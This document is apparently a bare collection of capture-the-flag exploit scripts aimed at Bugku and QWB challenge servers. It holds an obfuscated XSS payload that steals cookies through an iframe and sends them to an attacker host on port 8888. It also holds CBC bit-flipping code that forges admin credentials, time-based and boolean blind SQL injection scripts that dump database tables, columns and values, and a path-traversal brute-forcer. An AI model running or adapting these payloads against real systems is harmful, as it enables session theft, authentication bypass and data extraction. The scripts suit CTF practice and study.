>>> import urllib
>>> urllib.quote(open("md5_1.jpg", "rb").read())

s="""var i=document.createElement("iframe");
i.src="/";
i.id="a";
document.body.appendChild(i);
i.onload = function (){
    var c=document.getElementById('a').contentWindow.document.cookie;
    location.href="http://ip:8888?xx="+c;
}"""

print "eval(String.fromCharCode(",
for i in s:
    print str(ord(i))+",",

print "))",

s="""var i=document.createElement("iframe");
i.src="/QWB_fl4g/QWB/";
i.id="a";
document.body.appendChild(i);
i.onload = function (){
    var c=document.getElementById('a').contentWindow.document.cookie;
    location.href="http://ip:8888?xx="+c;
}"""

print "eval(String.fromCharCode(",
for i in s:
    print str(ord(i))+",",

print "))",

bs_de = 'a:2:{s:8:"username";s:5:"admi2";s:8:"password";s:5:"skctf";}'
bs_de=bs_de[0:13]+chr(ord(bs_de[13]) ^ ord('2') ^ ord('n'))+bs_de[14:]

# -*- coding:utf-8 -*-

import base64

bs = 'e8SnC9p3aEmJciIN8NWYM1PcA/A7jSwsiTglqdBMLRLf/8LOHKmhOoHSOBbJB1xEnE6S6DpfgkD8NWlJETxDZQ=='
bs_de = base64.b64decode(bs)
ch = chr(ord(bs_de[13]) ^ ord('2') ^ ord('n'))

bs_de=bs_de[0:13]+ch+bs_de[14::]

print(base64.b64encode(bs_de))

import base64
mingwen_de='xvFs8hcryE3UwXuTa5b+7W1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjg6IlBhc3N3b3JkIjt9'
mingwen = base64.b64decode(mingwen_de)

iv = 'wJdHFG15Qc2hs1bkgMHd4w=='
iv_de = base64.b64decode(iv)
new = 'a:2:{s:8:"userna'
for i in range(16):
    iv_de = iv_de[:i] + chr(ord(iv_de[i]) ^ ord(mingwen[i]) ^ ord(new[i])) + iv_de[i+1:]

print(base64.b64encode(iv_de))

# -*- coding:utf-8 -*-
import requests
import sys
# 基于时间的盲注，过滤了逗号 ,
sql = "127.0.0.1'+(select case when substr((select flag from flag) from {0} for 1)='{1}' then sleep(5) else 0 end))-- +"
url = 'http://120.24.86.145:8002/web15/'
flag = ''
for i in range(1, 40):
    print('正在猜测：', str(i))
    for ch in range(32, 129):
        if ch == 128:
            sys.exit(0)
        sqli = sql.format(i, chr(ch))
        # print(sqli)
        header = {
            'X-Forwarded-For': sqli
        }
        try:
            html = requests.get(url, headers=header, timeout=3)
        except:
            flag += chr(ch)
            print(flag)
            break

# -*- coding:utf-8 -*-
import requests

'''
这篇POC: aaa" or sleep(5) -- +
源于Bugku：http://120.24.86.145:9001/sql/
场景：登陆框基于时间的盲注
'''
url = 'http://120.24.86.145:9001/sql/'

def fuzz(sql, test, pos1, pos2, tmp):
    left = 32
    right = 127
    while True:
        mid = (left + right) // 2
        print('正在测试字符：' + str(mid) + ' ----> ' +  chr(mid))
        test3 = test.format(pos1-1, pos2, mid)
        params = {
            'admin_name': 'admin',
            'admin_passwd': test3,
            'submit': 'GO+GO+GO'
        }
        try:
            html = requests.post(url, params, timeout=3)
        except:
            tmp += chr(mid)
            return tmp

        sqli = sql.format(pos1-1, pos2, mid)
        params = {
            'admin_name': 'admin',
            'admin_passwd': sqli,
            'submit': 'GO+GO+GO'
        }
        try:
            html = requests.post(url, params, timeout=3)
            right = mid
        except:
            left = mid

# database = ''
# sql = "1\" or if(ascii(substr(database(),{0},1))>{1},sleep(5),0) -- +"
# test = "1\" or if(ascii(substr(database(),{0},1))={1},sleep(5),0) -- +"
# for pos in range(1, 50):
#     # 测试length(database())，一旦超过长度则不用再执行。
#     is_end = sql.format(pos, 1)
#     params = {
#         'admin_name': 'admin',
#         'admin_passwd': is_end,
#         'submit': 'GO+GO+GO'
#         }
#     try:
#         html = requests.post(url, params, timeout=3)
#         print('======================')
#         print('[*]database: ', database)
#         print('======================\n')
#         break
#     except:
#         pass
#
#     left = 32
#     right = 127
#     while True:
#         mid = (left + right) // 2
#         # print('正在测试字符：', str(mid))
#         test3 = test.format(pos, mid)
#         params = {
#             'admin_name': 'admin',
#             'admin_passwd': test3,
#             'submit': 'GO+GO+GO'
#         }
#         try:
#             html = requests.post(url, params, timeout=3)
#         except:
#             database += chr(mid)
#             print('[+]database: ', database)
#             break
#
#         sqli = sql.format(pos, mid)
#         params = {
#             'admin_name': 'admin',
#             'admin_passwd': sqli,
#             'submit': 'GO+GO+GO'
#         }
#         try:
#             html = requests.post(url, params, timeout=3)
#             right = mid
#         except:
#             left = mid

tables_name = {}
sql = "1\" or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {0},1),{1},1)))>{2},sleep(5),0) -- +"
test = "1\" or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {0},1),{1},1)))={2},sleep(5),0) -- +"
for table_num in range(1, 20):
    sqli = sql.format(table_num - 1, 1, 1)
    params = {
        'admin_name': 'admin',
        'admin_passwd': sqli,
        'submit': 'GO+GO+GO'
    }
    try:
        html = requests.post(url, params, timeout=3)
        print('[*]已无其他表！')
        break
    except:
        print('[+]正在爆破表', str(table_num))
    table = ''
    for str_num in range(1, 50):
        # 测试length(database())，一旦超过长度则不用再执行。
        test2 = sql.format(table_num - 1, str_num, 1)
        params = {
            'admin_name': 'admin',
            'admin_passwd': test2,
            'submit': 'GO+GO+GO'
        }
        try:
            html = requests.post(url, params, timeout=3)
            print('======================')
            print('[*]table: ', table)
            tables_name[table_num] = table
            print('======================\n')
            break
        except:
            pass

        table = fuzz(sql, test, table_num, str_num, table)
        print('[+]table: ', table)

print('******************')
for key in tables_name:
    print('[*]table' + str(key) + ': ' + tables_name[key])
print('******************\n')


tb = int(input('>请选择需要爆破的表(数字)：'))
# for tb in tables_name:
sql = "1\" or if((ascii(substr((select column_name from information_schema.columns where table_name='" + tables_name[tb]+ "' limit {0},1),{1},1)))>{2},sleep(5),0) -- +"
test = "1\" or if((ascii(substr((select column_name from information_schema.columns where table_name='" + tables_name[tb]+ "' limit {0},1),{1},1)))={2},sleep(5),0) -- +"
colunms_name = {}
for column_num in range(1, 20):
    sqli = sql.format(column_num - 1, 1, 1)
    params = {
        'admin_name': 'admin',
        'admin_passwd': sqli,
        'submit': 'GO+GO+GO'
    }
    try:
        html = requests.post(url, params, timeout=3)
        print('[*]已无其他字段！')
        break
    except:
        print('[+]正在爆破字段', str(column_num))
        column = ''
    for str_num in range(1, 50):
        # 测试length(database())，一旦超过长度则不用再执行。
        test2 = sql.format(column_num - 1, str_num, 1)
        params = {
            'admin_name': 'admin',
            'admin_passwd': test2,
            'submit': 'GO+GO+GO'
        }
        try:
            html = requests.post(url, params, timeout=3)
            print('======================')
            print('[*]column: ', column)
            colunms_name[column_num] = column
            print('======================\n')
            break
        except:
            pass

        column = fuzz(sql, test, column_num, str_num, column)
        print('[+]column: ', column)

print('******************')
for key in colunms_name:
    print('[*]column' + str(key) + ': ' + colunms_name[key])
print('******************\n')


cl = int(input('>请选择需要爆破的字段(数字)：'))
sql = "1\" or if((ascii(substr(( select " + colunms_name[cl] + " from " + tables_name[tb]+ " limit {0},1),{1},1)))>{2},sleep(5),0) -- +"
test = "1\" or if((ascii(substr(( select " + colunms_name[cl] + " from " + tables_name[tb]+ " limit {0},1),{1},1)))={2},sleep(5),0) -- +"
key = []
for num in range(1, 20):
    sqli = sql.format(num - 1, 1, 1)
    params = {
        'admin_name': 'admin',
        'admin_passwd': sqli,
        'submit': 'GO+GO+GO'
    }
    try:
        html = requests.post(url, params, timeout=3)
        print('[*]已无其他数据！')
        break
    except:
        print('[+]正在爆破数据', str(num))
        tmp_key = ''
    for str_num in range(1, 50):
        # 测试length(database())，一旦超过长度则不用再执行。
        test2 = sql.format(num - 1, str_num, 1)
        params = {
            'admin_name': 'admin',
            'admin_passwd': test2,
            'submit': 'GO+GO+GO'
        }
        try:
            html = requests.post(url, params, timeout=3)
            print('======================')
            print('[*]column: ', tmp_key)
            key.append(tmp_key)
            print('======================\n')
            break
        except:
            pass

        tmp_key = fuzz(sql, test, num, str_num, tmp_key)
        print('[+]key: ', tmp_key)

print('******************')
for tt in key:
    print('[*]key: ' + tt)
print('******************\n')

# -*- coding:utf-8 -*-
from time import sleep
import requests
url = "http://120.24.86.145:9004/Once_More.php?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0})='{1}', benchmark(7000000,MD5(14545)), 0)  %23"
# url = "http://120.24.86.145:9004/Once_More.php?id=1' and if(left((select column_name from information_schema.columns where table_name=0x666c616732 limit 0,1),{0})='{1}', benchmark(7000000,MD5(14545)), 0)  %23"
# url = "http://120.24.86.145:9004/Once_More.php?id=1' and if(left((select flag2 from flag2),{0})='{1}', benchmark(40000000,MD5(14545)), 0)  %23"
database = ''

for i in range(28, 50):
    for j in range(32, 128):

        tmp = database + chr(j)
        print('正在尝试：', tmp)
        urli = url.format(i, tmp)
        # print(urli)
        try:
            html = requests.get(urli, timeout=3)
        except:
            database += chr(j)
            print('[+]column: ', database)
            break

print(database)

# -*- coding:utf-8 -*-
import requests
url = "http://120.24.86.145:9004/Once_More.php?id=1' and (select LOCATE('{}',(select flag2 from flag2)))=1 -- +"
database = ''

for i in range(1, 50):
    for j in range(32, 128):
        tmp = database + chr(j)
        print('正在尝试：', tmp)
        urli = url.format(tmp)
        html = requests.get(urli)
        if 'Hello' in html.text:
            database += chr(j)
            print('[+]key: ', database)
            break

# -*- coding: utf-8 -*-
# running in python2
import multiprocessing
import hashlib
import random
import string
import sys
CHARS = string.letters + string.digits
def cmp_md5(substr, stop_event, str_len, start=0, size=20):
    global CHARS
    while not stop_event.is_set():
        rnds = ''.join(random.choice(CHARS) for _ in range(size))
        md5 = hashlib.md5(rnds)
        if md5.hexdigest()[start: start+str_len] == substr:
            print rnds
            stop_event.set()
if __name__ == '__main__':
    substr = 'b825c'    # 修改此值
    start_pos = 0
    str_len = len(substr)
    cpus = multiprocessing.cpu_count()
    stop_event = multiprocessing.Event()
    processes = [multiprocessing.Process(target=cmp_md5, args=(substr,
                                         stop_event, str_len, start_pos))
                 for i in range(cpus)]
    for p in processes:
        p.start()
    for p in processes:
        p.join()

# -*- coding:utf-8 -*-

import requests
time = 152101732000
url = 'http://192.168.187.133/index.php?action=../../../../app/adminpic/-haha{}.jpg'
for i in range(10000):
    tmp = time + i
    ul = url.format(tmp)
    html = requests.get(ul).status_code
    if html == 200:
        print(ul)
        break